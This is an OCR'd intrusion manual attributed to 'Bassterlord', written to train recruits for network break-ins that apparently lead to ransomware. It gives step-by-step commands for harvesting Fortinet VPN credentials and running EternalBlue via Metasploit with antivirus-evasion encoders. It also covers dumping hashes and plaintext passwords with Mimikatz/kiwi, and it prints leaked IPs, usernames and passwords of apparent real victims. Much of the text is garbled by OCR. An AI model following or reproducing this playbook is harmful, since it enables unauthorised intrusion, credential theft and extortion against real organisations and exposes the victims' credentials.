Bassterlord (FishEye) Networking
Manual




Foreward

This manual is designed for beginners in the topic.
But above all, for people who will work for me.

All information will be presented in the form of a manual.

There will be no meaningless explanations of how a certain exploit works and
mountains of incomprehensible code, we will immediately apply it in practice.




How to Deploy the Environment

5 WARNING!
SITE ACCESS DENIED

The content on this webpage is very violent and/or
very erotic.

For the advancement of the Central Eastern Republic
and the preservation of harmony, please do not attempt
further access.

Thank you for your cooperation.

I'his message is brought to vou by the Burcao of Inforneation Technology amd Civil Harmony



We need

1. Virtual Player is required (link)

2. VPN (link) — it is best to use this on the main machine (not on the virtual
machine )

3. Kali Linux torrent (link)
4. Any Windows 10

S. Nmap (link)

6. Mimikaz (link)

7. GMER (link)

8. Scanner (link) — Only use the paid on a virtual machine, do not put on
pwned/broken (?npooutsie) computers (there will be a free crack next to the

archive)

9. Pysecdump (link)

10. Psexec (link)

11. Fortinet VPN (link)

12. Procdump (link)

13. PowerTool (will be in an archive next to the document)

14. Metasploit (link)

15. Bluekeep exploit for 3389 under Windows (located next to it in the archive)

16. IMPACKET «https://github.com/SecureAuthCorp/impacket»

17. Zerologon exploit (in the archive cve-2020-1472-exploit.py)

18. Fortinet exploit «https://github.com/7Elements/Fortigate»

19. Veracript (link)
20. Rent a server for $150 a month jabber bearhost@thesecure.biz

21. TOX for communication and correspondence (link)


https://tox.chat/download.html
https://www.veracrypt.fr/en/Downloads.html
https://github.com/7Elements/Fortigate
https://github.com/SecureAuthCorp/impacket
https://windows.metasploit.com/metasploitframework-latest.msi
https://docs.microsoft.com/en-us/sysinternals/downloads/procdump
https://links.fortinet.com/forticlient/win/vpnagent
https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
https://github.com/pentestmonkey/pysecdump
http://www.gmer.net/#files
https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210810-2/mimikatz_trunk.zip
https://nmap.org/dist/nmap-7.92-setup.exe
https://images.kali.org/virtual-images/kali-linux-2021.2-vmware-amd64.7z.torrent
https://rus.privateinternetaccess.com/
https://www.vmware.com/products/workstation-player.html

The final layout will look like this
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Installing software in Kali
Start the VM, enter login kali, password kali
Copy the Fortinet VPN 123.deb in Kali to the home folder
Open the console and type
sudo dpkg -i 123.deb

Enter the kali password and click enter (passwords in kali are not displayed in
the console, you must enter it blindly)

Next, input

sudo git clone https://github.com/SecureAuthCorp/impacket

cd impacket
sudo python setup.py install

If it requires a password, enter kali


https://github.com/SecureAuthCorp/impacket

Installing software on a Windows virtual machine
install everything according to the list from the screen with all the default

settings.

Install Python https://www.python.org/downloads/

Copy the impacket folder to the C:\ drive

Open the command line in Windows as an administrator
Enter commands:

cd c:\impacket

python setup.py install

Copy the zerologon exploit in python to the impacket folder:
cve-2020-1472-exploit.py

Install everything else as default and copy the software to the desktop.



file:///c:/impacket
https://www.python.org/downloads/

Collecting material and how to get it




For extracting material for work, go to the service

http://masscan.online/ru

Buy an account of your choice and scan the whole world for popular
HTTPS ports, example below:

InasHaa / Cnucok 3aKkasoB

CnucoK 3aKkasoB

Show 10 entries Search:

D L 3AMETKA noPT CTATYC

9455 9443,7443,11443,5443,2443,3443,1443,10000-65535 9443, 7443, 11443, 5443, 2443, 3443, 1443, 10000-65535 B paGote MonpotHee
9392 13771 3aBeplueH Moppo6Hee
09388 all 10443, 8443 3aBeplueH Moppo6Hes
9124 KaH 5500, 5389, 5850, 6000, 6600, 6969, 7200, 7721, 7771, 7071, .. 3aBepleH MonpotHee
092 germ rdp 5500, 5389, 5850, 6000, 6600, 6969, 7200, 7721, 7771, 7071, . 3aBeplueH Moppo6Hee
9043 KaHaja 443, 8443, 10443 3aBeplueH Moppo6Hes
2042 ocA 443, 8443, 10443 3aBeplueH MogpotHee
041 germ 443, 8443, 10443 3aBeplueH MNoppo6Hee

showing 1 to 8 of 8 entries

After the scan is complete, download the results
Go to Kali
Open the console and type

git clone https://github.com/7Elements/Fortigate

cd Fortigate
pip3 install -r requirements.txt

fortigate.py [-h] [-i INPUT] [-o0 OUTPUT] [-t THREADS] [-c
CREDSCAN]

fortigate.py -1 TeKCTOBUK C Hawumm ainu (text editor (?) with our
IP) -0 valid.txt -t10 -c y

Run and wait for output (?Banun)


https://github.com/7Elements/Fortigate
http://masscan.online/ru

As a result we get something like

B /home/user/Forti... ser@kali: ~/For... . 0429PM#> O ) A © | a c

Actions Edit View Help
DEVICES

31 [home/user/Fortigate/valid.txt - Mousepad

File Edit ch View Document Help
Target.SubiectCN.Username.Password.Group.External IP
101.227.82.144: 10443, FGBOOD3917800474 , yingcheng, juce#xf52fSy,SSLVPN_User_Group,-
54.120.89.22
101.231.147.26:10443,FG3HOE3917903734,suitbim, suitbim.1234, sslvpn_group, -
222.72.35.134
101.231.147.27:10443,FG3HOE3917903734,suitbim, suitbim. 1234, sslvpn_group, -
222.72.35.134
101.231.147.29:10443,FG3HOE3917903734, suitbim, suitbim. 1234, sslvpn_group, -
222.72.35.134
101.251.193.41:10443 ,*.pintec.com,datavisor,LR123456,Guest-group,222.128.29.249
101.251.193.41:10443 ,*.pintec.com,yanbin.zhang,servasdf"ic&e2017,local, -
223.72.85.106
101.251.193.41:10443,%.pintec.com,yanbin.zhang,servasdf"ic5e2017,local,-
223.72.85.106
101.251.193.41:10443,*.pintec.com,tianpeng.du,920928Du,local,1.202.124.157
101.251.193.41:10443,*.pintec.com,pintec, jimubox123,Guest-group,61.148.245.96
101.251.193.41:10443 ,*.pintec.com,pintec, jimubox123,Guest-group,61.148.245.96
104.210.60.26: 10443 , FGUM4VTM19000045, mlee, ,vpn-CGI-DRS-TEST, 12.0.200.60

< 104.210.60.26:10443 , FGYM4VTM19000045 , tvo, ,vpn-CGI-DRS-TEST,68.226.200.145
104.210.60.26: 10443 , FGVM4VTM19000045,wilfredo.camachosanc, ,vpn-CGI-DRS-TEST, -
24.50.234.16
104.210.60.26:10443 , FGVM4VTM19000045, mentor.b, BFCB59B332884772332, vpn-CGI-DRS-
TEST,73.144.235.49
104.210.60.26:10443 , FGVM4VTM19000045, kmanuel , , vpn-CGI-DRS-TEST,98.171.145.116
104.210.60.26: 10443, FGVM4VTM19000045, kahmed, , vpn-CGI-DRS-TEST,98.197.153.98

This will be our material for work, copy our output to the VM with Windows
and look at the next section.



ﬁ,

RANSOMWARE = Terrorism

You will perform all your actions at your own
peril and risk.

However, the risk is for millions!

I'm not promoting ransomes, it's just a pentest
manual. 4 -




Beginning of work/job




First, go to the VM under Windows and Open Fortinet VPN

client

T LLLET

Conﬁgure VPN
Kondurypu

Click Configure VPN

216.59.121.252

Hosoe nogkntovenme VPN

VPN [ SN | | |

Wma coepuHeHHA

Onucanue

YoanEHHLINA LLHO: x
+2dd Remote Gateway

[p] 3agatonopr 443
| | Enable Single Sign On (SSO) for VPN Tunnel

CepTudgikag Hu ogmH v
nosk: A

Pt
Ayy Fibrragfa 0 3anpawmeate () CoXpaHWTek NOrMH

216.55.121.252:
216.59.121.252:
216.59.121.252:

le6.152

207.200.
207.200.
.36.101
191.82:
:10443,FGT60D4613038102, bmeyer,01110922Mac22%,S5L_VPN LDAP,205.222.101.19

207.207

173.221.
207.250.
P152.80.198.1¢62:
$192.80.198.162:

40.178

44 ,FGlUUD3616804498,donnam,hmwaﬁ1318,SSLVPN:LDAP:GROUP,188.119.112.132
443,FG100D3G16804498, tomb, hmwa#1276, SSLVPN_LDAP GROUP,168.119.112.132
443,FG100D3516804498, donnam, hmwa#1318, SSLVPN_LDAP GROUP,185.119.112.132

.228.200:10443,FGT30E5618032845, universaluser, 561495, SSLVPN, 134.35.184.174
183.90:
183.90:
:10443,FG%00D3517600348,dustin.dykes, 297TWvS | XF2,,47.186.41.61

10443, FGVMO0TM2000€6111, Travis,1988Grad, WIP VPN UsSers,47.41.173.163
10443, FGVM00TM2000€111, Travis,1988Grad, WIP VPN USers,47.41.173.163

10443,FG200D39146811375, mcox, , SSL-VPN _USERS,75.7.125.36

10443,FG200D351480407%, mgottimukkula, KSPEhRn5, MDC_SSL,45.246.76.49
10443, FG200D3914804079, KPhanlbatla Welccme@425 MDC _55L,106.220.127.248



Next, enter the username and password vpna

@ rurucnen

Daiin  MNMomowe

Zlo.
D21s6.
216.
P21s6.
216.
216.

LR
59.
39.
29.
59.
59.

Lz1.
121.
121.
121.
121.
121.

2321
252:

252

252

WMma VPN 216.59.121.252 v

HMma nonsaosatens

Mapones

443, FGlUUL3L1lo5U44495,
443, FG100D3G16504498,

F1l30U, 5oLVEN LUAF GRUUP, 1H5. 119 114,134

heryl,hfwa#1344,S5LVPN LDAP GRCUP,166.119.112.13:

:443,F5100D3G168044%8, cheryl, hmwa#1344, S5LVPN_LDAP GRCUP,166.119.112.13:
252:
252:

443,FG100D3G168044598, donnam, hmwa#1318, SSLVPN_LDAP GRCOUP,188.119.112.13:
443,FG100D3G16804458, tomb, hmwa#1276, SSLVPN LDAP GROUP,188.115.112.132

:443,FG100D3G16804498,donnam,hmwa#lBlB,SSLVEN_LDAP_GROUP,188.119.112.132

If the connection is successful, you will see

o

E!#.‘.!.F‘l‘.
—

s VPN 216:

. ——
Mms nonssosatens [l

MpoponsuTensHocTs  00:00:04
Monyueno Galr 2.39 KB
Otnpaeneqo Gaidt 54 KB



Next, I recommend copying the cmd file route print.cmd to the
desktop from the archive and running it.

Something like the following picture will appear. Pay attention to the
interface and netmask:

Upgrade to the full version to access additional features and receive technical support.

VPN noaknto4veH

N 21659121252
IP appec™ 10212 134 200
Wma none3osatens marc
MpopomxkurensHoets 00:02:18
Mony4exo Gair 2.57 KB
Ornpasnero Gailr 1635 KB

In this case, we see the range:

10.102.96.0 — 255.255.255.0

This means that you will register it in the scanner this way:
10.102.96.0 — 10.102.96.255

If you saw a picture like this:

10.102.0.0 — 255.255.0.0

Then in the scanner write:

10.102.0.0 — 10.102.255.255



If we see

0.0.0.0 — 0.0.0.0

0.0.0.0 — 0.0.0.0 from above 2 times

So we scan the ranges of the network as in the example above if they
are there, if they are not there and there are double lines with zeros

then we take and scan the entire range.

192.168.0.0 — 192.168.255.255

Open the Softperfect scanner and enter the resulting ranges.

D SoftPerfect Network Scanner [PORTABLE]

Enter CTRLA+QO, the scanner settings will open,
have done in the screenshots:

& Options O
Browsing View Shortcuts
General Additional Warkstation Ports Shares
Max, threads Max. thread run-time, sec
[s00 [SEE =
Ping timeout, ms Method Attempts

1000 :

[ Always analyse device {even if ping failed)

Both ICMP & ARP

[IPing network and broadcast addresses
[CJExplore shared folders in background
|:| Case insensitive sorting

[ bisplay dead devices

[ show last scan and last seen time

[ show successful ping method

[ Allow ARP outside current subnet
[ petermine packet loss and jitter
[ betect duplicate MAC addresses
[15ean in randem order

[ minimise to the notification area

Cancel

Applications

File View Actions Options Bookmarks Help

Do HEEAR| @Y A8E» DL ¢ L@ MR

o[ 10 102, 95 f255 s+ %

7

Browsing
General Additional

Resolve host names

Use legacy method (NetBios-capable)

[Jresolve MAC addresses

Waorkstation Ports Shares

Host Name TCP Ports

set everything as 1

View Shortcuts

[ Perform double-reverse lookup

Priority  Lookup method

'ﬁ 1 ARF query

'ﬁ 2 MNetBios query

0 s Router SNMP MIB query

Parameters

public

[Jresolve IPv6 addresses
[Lookup netwark card vendor

[ Lookup monitor information

[ Grab HTTF & FTF server banner

Applications




:}@:.‘::':-

Erowsing

General Additional

Lookup LAN group/domain
Lookup Windows version
Enumerate user accounts
Lookup logged-on users
[ Lookup logged-on 5IDs

[ omit duplicate logons
Authentication

O Use current account

Try all login-passwaord pairs

O
View Shortouts
Waorkstation Ports Shares Applications
[Lockup remote Time and Date

Retrieve list of disk drives
Retrieve computer uptime

|:| Retrieve assigned comment

% Options O X
Browsing View Shortcuts
General Additional Workstation Parts Shares Applications

Check for open TCP ports (one or more, comma or dash separated)

|3389,9443,9392,9393,9401,6 160,5000,5001,6101,445,2179, 1433

[ pisplay service names rather than port numbers

Check for open UDP ports

[JLookup server typefroles [Jons (53) CnTe (123) [ImssqL (1434)
[Jretrieve list of installed applications CTFTe (59) CInens (137) [JRADIUS (1812)
(®) Spedific account
~ Manage...
Cancel Cancel
% Options O .t
Browsing View Shortcuts
General Additional Workstation Parts Shares Applications
Scan for shared resources Determine disk space
Chedk for write access
Enable security & user permission scan
Enumerate
® Al (") Comm, devices (") Folders & Printers
(O) Folders () Administrative shares
() Printers (1IPC
Authentication
Cl Use current account @ Specific account
Try all login-password pairs w Manage...

Click OK



Go to account settings.

Here we will enter the logins and passwords from our VPN

fect Metwork Scanner [PORTABLE]

Actions  Options  Bookmarks  Help
” EE % Program Options

o . 10 Credential Manager
Remote WMI...
Remote Registry...
Remote Services...
Remote File...
Remote SMMP...
Remote Groups...
Remote XML...
Remote 55H...

Remote Perfoermance...

@RI REL S B

Remote PowerShell...

IP Address
Paste IP from Clipboard
+  Wake-On-LAN Manager

Ctrl+ 0

Ctrl+W

Friendly Mames / Comments...

#  Ignored Addresses

m &

55 | ¢ 3

oris

~] @ U

LUt
207.
207.
207.
207.

L1ou.
150.
180.
180.
180.

User name

Password

\

| \
\
\

Optional comment

OK | Carifel

133.
155.
155.

155

419110445, FOIDUBSUL fU4L 144, MALC, QLPILULUF, D0L v
219:10443,FGTS0E3U1704214%, marc, MEpm2020#, 55L V
219:10443,FGT50E3U17042141marc, Mipm2020#, S5L_V

.219:10443, FGT50E3U017042141 fmarc, MLpm20204#, SSL _V
155.

215:10443,FGT50E3U17042141 ,marc, MLpm2020#,S5L ¥

If you are using the paid version of the scanner then you will have a

field integration with nmap

Momowe

K pEECTRY...

K cnysBam...

K Nankam...

K YNEHCTEY B FPyNNax..

K NPoU3BoAWTENRHOCTH...

letwork Scanner
#ictemA | Hactpolkwn  3aknagew
E 1 #. Hactpoikwn nporpamme
— ¥npaeneHue aKkayHTaMK
02.96 .0
— BupTyaneHele ctonbupl...
4 Winterpauma c Mmap..
0 Yaanenneni gocryn k WML,
B ¥paneHHelii goctyn
YaaneHHsli gocTyn
¥aanenHeil goctyn
e YAaNeHHbIA gocTyn
() ¥aaneuHwiii goctyn
YaaneHHsli gocTyn

¥aanenHeil goctyn

¥aanenHslid goctyn

K PowerShell...

YEQES CKPUMTEL.

yepes SMMP...

Ctrl+0 I-.- ;;c'?.}

Ctrl+W




Select(check) SMBEternalBlue and start scanning

WMuTerpauma ¢ Nmap aoGasnaceT Bo3MOKHOCTH, TaKne Kak obHapyxenne OC, TECTMPOBAHWE YASEMMOCTER 1
MHOMDE ApyTOE.

Nmap 6ein vaigen 8 C:\Program Files (x86)\Nmap. Bce xopowo.

Bribepute mecTo Crauate Nmap Hacrpoikm...

KMran zanmcu Tun ckaHupoeaHmA #Path sanpoc gnA cGpatoTkn oTBETE

U OEHapyenne OC OEHapyxerHne OC ffosmatch/@name

L] Tan yCTpoWcTEa OBHapy#eHue OC flosclass/@type[1]

Bepoun cnyxb Bepouw cny=xG fiport[service/@product]/ @ portid|//port/servicel...
551 Heartbleed BeinonnwTe ckpunT: ssl-..  f/script[@id="ssl-heartbleed"]/ @ output

S5L POODLE BemnonnuTe ckpunt: ssl-.. f/script[@id="ssl-pocdle"]/@output

S50 DROWN BeinoanwTe ckpunT: ssl.. Sscript[@id="sshvZ-drown"]/ @output

SME EternalBlue BeinonnwTe ckpunT: sm..  ffscript]@id="smb-vuln-ms17-010"]/@cutput
Bpema HTTP-cepeepa BeinonnwTe ckpunT: htt...  //script[@id="http-date"]/ @ output

Metoge ayTenTndguragny ... Beinoanute ckpunm ssh.,  /fscript{@id="ssh-auth-methods"]/@output

] AnoHumHbIA Bxoa no FTP BeinoanwTe ckpunT: ftp..  Sfscript(@id="ftp-anon"]/@output

I [

|Ha|liTL1... AoBaeuTe... Mpaeka... Yaanute Belgennte,/ CHATE BCE

After the scan completes, we will see something like this:

P aapec Vs xocra TCP noprel JanorusenHeii nonksoeaTens PaGova rpynna QOnepaunorzn cnerema Micarenn o6uym nanok Ouckosoenpoctpanctee  AMTEiM AKKEyTH nons3cearencii SMB EtemnalBlue
wi 192.1682.94 RNPO02673BE08F3 5001 WORKGROUP 08227

wi 192.1682.152 5001 Unknown platform (0x0)
wi 192.1682.23 WORKSTATIONOZ a5, 3389 _vmware_user_ Administrater, .. BENS Windows XP BUILTIN'Agpaumncrpatopes, B... 466 GB 3d12h... Administrator, Gast, HelpAssistant, SUPPORT_..  VULNERABLE# .

wi 192168.2.38 WORKSTATIONQ4 415, 3389 _vmware_user_, Administrater, A..  BENS Windows XP BUILTINVAgmuHncTpaTopsl, B... 466 GB 38d 10h.. Administrator, Gast, HelpAssistant, SUPPORT_..  VULNERABLES ...
wi 192.168.2.19 WORKSTATION 445, 3389 Administrator, JKE, JKE BENS Windows XP 149 GB 242d 13h... Administrator, Gast, gebruiker, HelpAssistant, ... VULNERABLE= .
wi 1921682213 SRVWINCC1 445, 3389 Administrator, Administrator, winc...  BENS Windows 7/Server 2008 R2 BUILTINVAgmuHncTpaTops) - 93,9GB 102d 20h...  Administrator, Axians, Guest VULNERABLE .
wi 192168.2.222 CLIENTWINCC3 445, 3389 Administrator, operater BENS ‘Windows 7/Server 2008 R2 §-1-5-21-3833651780-1474780... 39,9 GB 375d 19h... Administrator, Axians, Guest VULNERABLES ...
i 192.168.2.223 CLIENTWINCC4 45,3389 Administrator, operator BENS Windows 7/Server 2008 R2 §-1-5-21-3833651780-1474780...  39.96GB 52d 17h .. Administrator, Axians, Guest VULNERABLE ...
wi 192.168.2.224 CLIENTWINCCS 445, 3389 Administrator, operator BENS Windows 7/Server 2008 R2 §-1-5-21-3833651780-1474780... 38,9 GB 375d 19h... Administrator, Axians, Guest VULNERABLE .
wi 192.168.2.226 CLIENTWINCCT 445, 3389 Administrator, operater BENS ‘Windows 7/Server 2008 R2 §-1-5-21-3833651780-1474780... 39,9 GB 375d 19h... Administrator, Axians, Guest VULNERABLES ...

wi 192.168.2.14 WORKSTATION17 45,3389 Administrator, bes, bla BENS Windows XP BUILTINVAgmwrncTpatopet, B... 149 GB 112d 23h...  Administrator, ASPNET, Gast, HelpAssistant, .. VULNERABLES ...

wi 192.1682.22 PC_BUREEL.N 445, 3389 BENS Unknown platform (0x0) VULNERABLE .

wi 192.168.2.29 WORKSTATIONGON 445, 3389 BENS Unknown platform (0x0) VULNERABLES ...

i 192.168.2.214 SRVWINCC2 45,3389 BENS Unknown platform (0x0)

wi 192.168.2.215 VEEAM 445, 3389 WORKGROUP Unknown platform (0x0) VULNERABLE .

ol 1921682221 CLIENTWINCC2 445, 3380 BENS Unknown platform (0x0) VULNERABLE:# ..

wi 192.168.2.85 BENSPAXTON 445, 1433, 3389 WORKGROUP Unknown platform (0x0)

wi 192.168.2.203 APPLSERVER1 425, 1433 WINCC_SERVER BENS Unknown platform (0x0) VULNERABLE# .

wi 102.168.2.204 APPLSERVER2 445, 1433 SOLSERVICE BENS Unknown platform (0x0) VULNERABLE:# .
wi 192.168.2.66 WORKSTATION74 45 Administrator, diepvries, SpaceGua... BENS Windows 2000 BUILTINVAAMMHRCTDaTOpSY, B 18,6 GB 38d 1h3.. Administrator, Guest, VUSR_WORKSTATIONT4  VULNERABLES ...

wi 19216829 50683485 a5 SD6834B5 Unknown platform (0x0)

wi 102.162.2.61 WORKSTATIONS1 415 WORKSTATIONS1S BENS Unknown platform (0x0) VULNERABLE:# .

wi 192.168.2.69 WORKSTATIONSS 45 VERZENDING BENS Unknown platform (0x0) VULNERABLES ...

wi 192.168.2.116 PC-BUREEL-WINT a5 BENS Unknown platform (0x0)

wi 19216821 Unknown platform (0x0)

Our task is to sort the results by workgroup and TCP ports. And check
for the presence of red C $ disks in pluses under the IP address column

» ADMIMS

s C

# D5



Also do not forget that if you have a paid version of the scanner,
you'll need some alternative settings

# Hactpo#ikun — O X
Mpunoserna O6zop pesynsTaTos Bua FopAYME KNEBULLA
ObLime JAonoAHUTENBHEIE PaBouana craHuwa MopTe OBwwe pecypckl

Makc, noTokoe Makc, BpemMA BEINCAHEHKS, CEK

rs £
|500 sl [0 I<
TafmayT nuHra, mMc MeTog Menerok

- . -
2000 S v ping v :
(] Beeraa ckannpoBaTh (4ae A HET NNHra) [] OveBpaxars yaaswmniica Tun nukHra
[ Munroeate cetesoii u W/ BELATENLHBIR agpec O Paspewwnte ARP 3a npegenamu nogoetu
[] OTkpbiBaTs CETEBLIE NaNkW B HoHE [ Mamepute noTepro NakeTos U AkuTTER
[] Coptupoeka Bes y4eTa pernctpa [ Wndboprnpoeate o gyGaukarax MAC
] OvoBpakaTe HeakTMBHBIE yCTpolicTEa [J Ckarmpeosate B cayuaiinom nopagke
] OtoBpakaTe BpEMA CKAHWPOBAHNA [J Cecpaunsats e 30Hy yeegomaeHuii

# Hacrpoiikm — O >
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Ports and their correspondences with services
General:135,137,139,445,8080,80,443
Nas synology port: 5000,5001 - Data store
Veeam: 9443,9392,9393,9401,6160 - Backups

DB mysql,mssql,db2,postgresql:3306,1433,50000,5432,5433 -Database

Veritas backup exec. 6101,10000,3527,6106,1125,1434,6102 server
3527,6106 - Backups

Oracle: 1521,1522

Remote control: 22,21,3389 4899,5900 - Possibility of alternative
connection to a computer

Nfs: 111,1039,1047,1048,2049

Iscsi: 860,3260

replication: 902,31031,8123,8043,5480,5722
Sophos Web: 4444

Sophos Console: 2195,8190,8191,8192,8193,8194,49152-65535

In the far right column after the scan, we will see vulnerable devices
for the Eternal Blue vulnerability (MS-17-010).

Next, we will look at the exploitation of this vulnerability in detail.



MS-17-010 (Eternal Blue)

To exploit the vulnerability, you will need Metasploit
installed on a virtual machine.
Open the CMD console in Windows

Register msfconsole, press enter and wait for metasploit to load

Metasploit tip: Enable HTTP request and response log
with

msfe >

After loading metasploit, enter the commands one by one:

setg LHOST (IP of our VPNA)

I p—— (P

-

Mma VPN 123
P e
Mmsa nonesoeatena  ACtemium
MpoponwuTensHocTs 00:28:37
MNonydeHo Gair 607 MB
Omnpasnedo Gadwt 1.2 M6

PazbeguHuTL



setg RHOSTS (IP of our vulnerable devices, separated by a
space)

1P sgpec U xoera TCP noprer anorwmenneii nonssosatens PaGouen rpynna Grepaymortian cncrema Mucaren o6 namox Ancrosoe npoctpancrso  Ammaiin AxxaynTel nonssosatenci SMB EtemalB.
mil 1921682.222 CLIENTWINCC3 45,3389 Administrator, operator BENS Windows 7/Server 2008 R2 5-1-5-21-3833651780-1474780..  39.96B 375d 19h.,  Administrator, Axians, Guest VULNERABLE:# .,
il 1921682.61 WORKSTATIONS1 45 WORKSTATIONS1S BENS Unknown platform (0x0) VULNERABLE:#
mi 1921682.19 WORKSTATION 45,3309 Administrator, JKE, JKE BENS Windows XP 149 GB 242d13h.,  Administrator, Gast, gebruiker, HelpAssistant, .| VULNERABLE® .
i 192.1682.66 WORKSTATIONT4 u5 Administrator, diepvries, SpaceGua... BENS Windouws 2000 BUILTIN\Agmusinerparopss, B.. 18,6 GB 384 Th3.. Administrator, Guest, VUSR WORKSTATIONT4 | VULNERABLE:*
i 192.1682.221 CLENTWINCC2 45,3389 BENS Unknown platform (0x0) VULNERABLE:*
i 1921682213 SRVWINCCT 45, 3380 Administrator, Administrator, winc... BENS Windous 7/Server 2008 R2 BUILTIN\Agmusncrparopsi, 90968 102d 20h... Administrator, Axians, Guest VULNERABLE:*
il 192.168.2.223 CLENTWINCCA 15,3388 Administrator, operstor BENS Windous 7/Server 2008 R2 5-1-5-21-3833651780-1474780..  39.9GB 520 17h... Administrator, Axians, Guest VULNERABLE:#
il 192.1682.29 WORKSTATIONGON 445, 3389 BENS Unknown platform (0x0) VULNERABLE:#
wil 1921682.215 VEEAM 45,3389 WORKGROUP Unknown platform (0x0) VULNERABLE:#
il 1921682.3¢ WORKSTATIONO4 45,3389 _vmware_user_, Administrator, A, BENS Windows XP BUILTIN\Agmnrncrparopss, B, 466 GB 38 10h... Administrator, Gast, HelpAssistant, SUPPORT_...|| VULNERABLE# .,
mi 192.1682.14 WORKSTATION17 45,3389 Administrator, bes, bla BENS Windouws XP BUILTIN\Agmarncrparopes, B 149 GB 112d23h... Administrator, ASPNET, Gast, HelpAssistant, S...| VULNERABLE:*
mi 192.1682.22 PC_BUREEL N 45,3380 BENS Unknown platform (0x0) VULNERABLE:*
i 192.163.2.203 APPLSERVERT 45,1433 WINCC_SERVER BENS Unknown platform (0x0) VULNERABLE:*
i 192.1682.23 WORKSTATION02 15,3388 _vmware_user_ Administrator, A..  BENS Windouws XP BUILTIN\Agmuncrparope, B.. 466 GB 31d12h... Administrator, Gast, HelpAssistant, SUPPORT_...| VULNERABLE:#
il 192.1682.224 CLENTWINCCS 15,3388 Administrator, operstor BENS Windous 7/Server 2008 R2 5-1-5-21-3833651780-1474780..  39.9GB 375d 1sh... Administrator, Axians, Guest VULNERABLE:#
il 192.1632.226 CLENTWINCCT 45,3389 Administrator, operator BENS Windous 7/Server 2008 R2 5-1-5-21-3833651780-1474780.. 3996 375d 19h... Administrator, Axians, Guest VULNERABLE:#
il 192168.2.204 APPLSERVER2 45,1433 SQLSERVICE BENS Unknown platform (0x0) VULNERABLE:# ..,
wil WORKSTATIONSS 45 VERZENDING BENS Unknown platform (0x0) VULNERABLE:# ..

use exploi t/wi ndows/smb/ms17_010_psexec
set payload payload/wi ndows/meterpreter/bi nd_tcp

exploit

The end result looks like this:

Press enter and hope for success

If successful, you will see this:

if running ommand or non-ser

In case of errors, ACCESS DENIED

You can try to encrypt the antivirus payload using the
commands below:



set EnableStageEncodi ng true
set StageEncoder x86/shi kata ga nai
set encoder x86/shi kata ga nai
set Exi tOnSessi on false
set Sessi onCommuni cati onTi meout 0
exploit

Next, we wait for the completion of the process and watch active
sessions meterpreter-a

The sessions command displays a list of computers by numbering that
the exploit managed to break through

nsf6 exploit( ) » gessions

Information Connection

meterpre ndows NT AUTHOR
meterpreter windows NT AUTHORIT

nsf6 exploit(

In our case, we have 2 open sessions.

Let's move on to the first command, sessions 1
Next, we enter the commands:
getsystem
load kiwi
sysinfo — here we are interested in whether the computer is in the
domain

In this case, we see that yes, it is in the domain.



meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > load kiwi
Loading extension kiwi...

LEREERE, mimikatz 2.2.8 28191125 (xBb6/windows)

JHE M ##. "A La Vie, A L'Amour” - (oe.eo)

# / N\ ##  /*** Benjamin DELPY " gentilkiwi™ ( benjamin@gentilkiwi.com )}
# O\ / ## » http://blog.gentilkiwi.com/mimikatz

THE v ##° Vincent LE TOUX { vincent.letoux@gmail.com )

TeEEER’ » http://pingcastle.com / http://mysmartlogon.com ***/

Success.
meterpreter » sysinfo
! WORKSTATION
: Windows XP (5.1 Build 2608, Service Pack 3).
86
System Language : nl BE
Domain : BENS
logged On Users : 4
X80/ Windows

Next, enter the hashdump command

We get a list of user hashes, and copy them into a separate
text editor.

meterpreter > hashdump
Administrator:5686:636953098e08669Tdaad3b435b51484ee : 63763 T4d6556e63b3bTe783cb22183b8: : :
Gast:581:aad3b435b51484eeaad3bd35b51484ee:31docTebfdlbaed931b73c59d7eBcB89cE: : :
gebruiker:1885: aad3b435b51484eeaad3bd35b5148dee:31d6cteddlbaed31b73c59d7eBcBB0cE: | :
HelpAssistant:1884:feablad881155821cdc9cdb771a52a%9c :487b%99a89aa7391287180896823c89%bbcb: : :
SUPPORT 38894528 :1682: aad3b435b51484deeaad3bd35b51484ee:557eeldae335eeddd1cdTcl41777a8ld: : :
meterpreter >

Next, enter creds_all — this command will try to get unencrypted
passwords from the system

meterpreter > creds_all
Running as SYSTEM
Retrieving all credentials
msv credentials

Domain M NTLM SHA1

BENS 63695398e08009fdaad3b435b51404ee  63763F4d6550e03b3bfe783cb22183b8 a061ccbB81239dead6b397c594dc74f0C03C00225
BENS 878d3cbe250d4153aad3b435b51404ee  874eadde2df7b54cc7b7569ccag383bd  79838clc4e2aabc3a58f78c6b45092a00Cd22629
BENS 884c01638ceob6794766ab23753344c@ eabdB88eb6774631F25baab2dbcac0292932feadt

Password

7e 21 8d 62 3b 28 cf a2 8e ¢7 21 83 d@ fa 84 7c 99 5f 56 ed 57 31 25 bf df @b eg ae
Administrator BENS suriv
DKE BENS jke
WORKSTATIONS BENS 7e 21 ©d 62 3b 28 cf a2 8e ¢7 21 83 d@ fa 84 7c 99 5f 56 ed 57 31 25 bf df @b e9 ae

dentials

Password

{null)
BENS {null)
BENS 7e 21 ©d 62 3b 28 cf a2 8e 7 21 83 d@ fa 04 7c 99 5f 56 ed 57 31 25 bf df @b e9 ae
BENS {null)
iorkstation§  BENS {null)

meterpreter >




We also copy them into a separate text document.

If we have several sessions in the meter, then enter the bg command
and repeat the above points starting with sessions, only now we enter

sessions 2, etc. Let's not go through all the sessions yet.

Next, without closing the console, go to the service

https://www.crackmdS.ru/ and try to decrypt the hashes received.

We have already obtained the open passwords of the accounts from
the creds all command.

Put them into the scanner
Settings => Account Management

JoGaeute/PegakTnpoeate

ran nonesoeaTens

E:Eusmdminimatm

Mapone

driririrdr

JononHUTENEHEIA KOMMEHTE K

oK

Ctmena

JoBaenTe...
Mpaeka...

¥aanuTe

Haiti

Enter accounts in the format Domain \ login password.

After that, close the account control panel, select all IP addresses and
rescan the network.


https://www.crackmd5.ru/

IP agpec

192.168.2.222

192.168.2.116
192.168.2.1

192.168.2.26
192.16: 0

‘oToBO

Wma xocta TCP nopThl 3anorHeEHHBIR NoB30BATENE
CLIENTWINCC3 445, 3389 Administrator, operator BEMS
WORKSTATIONS1 445 WORKSTATIONS1S BENS
W A 445, 3389 Administrator, JK 3 BEMS
(STATION74 445 Administrator, diepvries, SpaceGua.. BENS
CLIENTWINCC2 445, 3389 BENS
SRVWINCC1 445,
CLIENTWINCC4 445, Administrator, operator BEMNS
WORKSTATIONGON 443, BENS
VEEAM 445, WORKGROUP
WORKSTATIOMNO4 445,
